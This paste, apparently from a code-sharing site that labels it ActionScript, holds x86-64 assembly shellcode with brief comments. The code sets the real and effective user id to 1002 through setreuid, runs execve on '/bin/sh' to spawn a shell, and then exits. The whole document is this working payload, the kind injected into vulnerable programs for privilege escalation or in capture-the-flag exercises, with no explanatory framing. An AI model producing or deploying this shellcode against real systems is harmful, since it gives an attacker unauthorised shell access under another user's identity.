24 lines
628 B
ActionScript
24 lines
628 B
ActionScript
xor rdi,rdi <------ set the rdi to 0
|
|
xor rax,rax
|
|
xor rsi, rsi <------ set the rsi to 0
|
|
mov si, 1002 <------ put the value 1002 in the lower bits of the rsi
|
|
mov di, 1002 <------ put the value 1002 in the lower bits of the rdi
|
|
mov al,0x71 <------ put the setruid function in the al register
|
|
syscall <------ call the function.
|
|
xor rdx,rdx
|
|
movabs rbx,0x68732f6e69622fff
|
|
shr rbx,0x8
|
|
push rbx
|
|
mov rdi,rsp
|
|
xor rax,rax
|
|
push rax
|
|
push rdi
|
|
mov rsi,rsp
|
|
mov al,0x3b
|
|
syscall
|
|
push 0x1
|
|
pop rdi
|
|
push 0x3c
|
|
pop rax
|
|
syscall
|